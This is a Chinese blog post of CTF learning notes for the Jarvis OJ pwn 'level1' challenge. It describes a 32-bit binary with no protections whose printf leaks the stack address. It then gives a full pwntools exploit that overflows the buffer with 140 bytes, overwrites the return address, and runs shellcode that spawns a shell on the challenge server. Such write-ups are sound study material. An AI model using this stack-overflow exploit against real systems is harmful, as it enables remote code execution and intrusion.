Jarvis Oj Pwn 學習筆記-level1
阿新 • • 發佈:2018-05-31
ID lin send add 技術分享 r+ rar bsp strong
32位pwn題目
呈上鏈接:
https://files.cnblogs.com/files/Magpie/level1.rar
nc pwn2.jarvisoj.com 9877
先看一下保護:
竟然什麽都沒開......所以...
扔進IDA找到溢出點就可以開始食用了:
選中的函數即為存在溢出點的函數:
出題人可以說......是把通往shell的鑰匙貼在臉上了。。
特意烹制了一條printf告訴你棧的具體內存地址,shellcode了解一哈...
直接上exp吧:
1 from pwn import * 2 context(arch = ‘i386‘, os = ‘linux‘) 3r = remote(‘pwn2.jarvisoj.com‘, 9877) 4 # EXPLOIT CODE GOES HERE 5 ech=r.recvline() 6 print ech+‘##############‘ 7 shellcode=asm(shellcraft.sh()) 8 retaddr=int(input(‘pls ipt=echaddr+0x88+0x08:‘)) 9 print p32(retaddr) 10 payload=‘A‘*140+p32(retaddr)+shellcode 11 r.send(payload) 12 r.interactive()
寫這段的時候由於初學pwntools,還不太熟練。。
所以,,代碼很醜就不說了~
Jarvis Oj Pwn 學習筆記-level1